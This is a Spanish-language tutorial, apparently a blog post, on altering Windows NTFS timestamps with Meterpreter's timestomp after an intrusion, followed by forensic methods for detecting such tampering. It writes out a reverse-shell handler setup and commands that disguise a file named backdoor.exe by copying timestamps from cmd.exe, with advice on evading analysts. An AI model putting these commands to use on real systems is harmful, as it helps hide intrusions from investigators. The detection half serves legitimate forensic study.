Una de las fases más críticas tras una intrusión exitosa es la eliminación de rastros. Cuando un atacante crea, modifica o accede a archivos en el sistema comprometido, el sistema operativo registra automáticamente las marcas de tiempo (timestamps) de esas operaciones. Estos metadatos son evidencia fundamental en cualquier investigación forense. La herramienta timestomp de Meterpreter permite manipular estas marcas de tiempo para dificultar la reconstrucción cronológica de los eventos durante un análisis forense.
Atributos MACE en sistemas de archivos
Los sistemas de archivos NTFS (Windows) almacenan cuatro marcas de tiempo principales para cada archivo, conocidas como atributos MACE:
- Modified — Fecha de la última modificación del contenido del archivo.
- Accessed — Fecha del último acceso al archivo (lectura).
- Created — Fecha de creación del archivo en el sistema.
- Entry Modified — Fecha de la última modificación de los metadatos del archivo en la MFT (Master File Table).
En NTFS, estos atributos se almacenan tanto en el atributo $STANDARD_INFORMATION como en $FILE_NAME de la MFT. Las herramientas forenses modernas comparan ambas fuentes para detectar manipulaciones, ya que timestomp solo modifica $STANDARD_INFORMATION.
Obtener una sesión Meterpreter
Antes de utilizar timestomp, necesitamos una sesión Meterpreter activa en el sistema objetivo. Aquí un ejemplo usando un handler genérico:
# Configurar handler para recibir conexión Meterpreter
msf> use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.100
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit
[*] Meterpreter session 1 opened
meterpreter>Uso de timestomp
Una vez dentro de la sesión Meterpreter, timestomp está disponible como comando integrado. Veamos las operaciones principales:
# Ver la ayuda de timestomp
meterpreter> timestomp -h
Usage: timestomp [OPTIONS]
OPTIONS:
-a Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c Set the "creation" time of the file
-e Set the "mft entry modified" time of the file
-f Set the MACE of attributes equal to the supplied file
-m Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z Set all four attributes (MACE) of the file Consultar timestamps actuales
Antes de modificar cualquier archivo, es útil ver sus marcas de tiempo actuales:
# Ver los timestamps MACE de un archivo
meterpreter> timestomp C:\\Windows\\system32\\cmd.exe -v
Modified : 2024-01-15 08:30:22 +0000
Accessed : 2024-03-20 14:15:00 +0000
Created : 2019-12-07 09:14:18 +0000
Entry Modified: 2024-01-15 08:30:22 +0000Modificar timestamps individuales
Cada atributo MACE puede modificarse de forma independiente:
# Modificar fecha de creación
meterpreter> timestomp C:\\backdoor.exe -c "01/15/2019 08:30:22"
# Modificar fecha de último acceso
meterpreter> timestomp C:\\backdoor.exe -a "03/20/2019 14:15:00"
# Modificar fecha de modificación
meterpreter> timestomp C:\\backdoor.exe -m "01/15/2019 08:30:22"
# Modificar fecha de entrada MFT
meterpreter> timestomp C:\\backdoor.exe -e "01/15/2019 08:30:22"
# Modificar TODOS los atributos MACE a la vez
meterpreter> timestomp C:\\backdoor.exe -z "01/15/2019 08:30:22"Copiar timestamps de otro archivo
Una técnica más sutil es copiar las marcas de tiempo de un archivo legítimo del sistema. Esto hace que el archivo malicioso se mezcle con los archivos originales del sistema operativo:
# Copiar los timestamps de cmd.exe a nuestro archivo
meterpreter> timestomp C:\\backdoor.exe -f C:\\Windows\\system32\\cmd.exe
[*] Setting MACE attributes on C:\backdoor.exe from C:\Windows\system32\cmd.exe
# Verificar que los timestamps coinciden
meterpreter> timestomp C:\\backdoor.exe -v
meterpreter> timestomp C:\\Windows\\system32\\cmd.exe -vBorrar timestamps (blanking)
La opción -b establece valores nulos en los atributos MACE, lo que hace que herramientas forenses como EnCase muestren campos en blanco:
# Blanquear todos los timestamps
meterpreter> timestomp C:\\backdoor.exe -b
[*] Blanking file MACE attributes on C:\backdoor.exePrecaución: Los timestamps en blanco son en sí mismos un indicador de compromiso muy evidente. Un analista forense experimentado identificará inmediatamente que los metadatos han sido manipulados. Es preferible usar la técnica de copiar timestamps de archivos legítimos.
Modificación recursiva en directorios
Si durante la intrusión se han creado o modificado múltiples archivos en un directorio, se puede aplicar timestomp recursivamente:
# Modificar timestamps recursivamente en un directorio
meterpreter> timestomp C:\\Users\\Public\\Documents -rDetección de manipulación de timestamps
Desde la perspectiva del analista forense, existen varias técnicas para detectar la manipulación de timestamps:
- Comparar $STANDARD_INFORMATION vs $FILE_NAME —
timestompsolo modifica$STANDARD_INFORMATION. Si las fechas en$FILE_NAMEson posteriores a las de$STANDARD_INFORMATION, es un indicador claro de manipulación. - Análisis del $MFT — Herramientas como
analyzeMFToMFTECmdpueden parsear la Master File Table y detectar inconsistencias. - $UsnJrnl (USN Journal) — El journal de cambios NTFS registra operaciones sobre archivos y es más difícil de manipular.
- $LogFile — El log transaccional de NTFS también contiene información temporal independiente.
- Timestamps en blanco — Cualquier archivo con timestamps nulos o en el año 1601 (epoch de Windows) es inmediatamente sospechoso.
- Correlación temporal — Si un archivo tiene fecha de creación en 2019 pero su firma digital o hash corresponde a un binario compilado en 2024, la manipulación es evidente.
# Herramientas forenses para detectar manipulación de timestamps
# Parsear la MFT con MFTECmd (Eric Zimmerman)
MFTECmd.exe -f C:\\$MFT --csv output/ --csvf mft_analysis.csv
# Analizar el USN Journal
fsutil usn readjournal C: csv > usn_journal.csv
# En Linux, analizar imagen forense con plaso/log2timeline
log2timeline.py timeline.plaso disk_image.E01
psort.py -o l2tcsv timeline.plaso > timeline.csvLa manipulación de timestamps es una técnica anti-forense conocida y relativamente fácil de detectar con las herramientas adecuadas. Un analista competente nunca se basa únicamente en los timestamps de $STANDARD_INFORMATION para reconstruir una línea temporal. Por ello, esta técnica por sí sola no es suficiente para ocultar completamente una intrusión, pero combinada con otras técnicas de limpieza de logs y eliminación de artefactos, puede complicar significativamente la investigación.
:wq!
Comentarios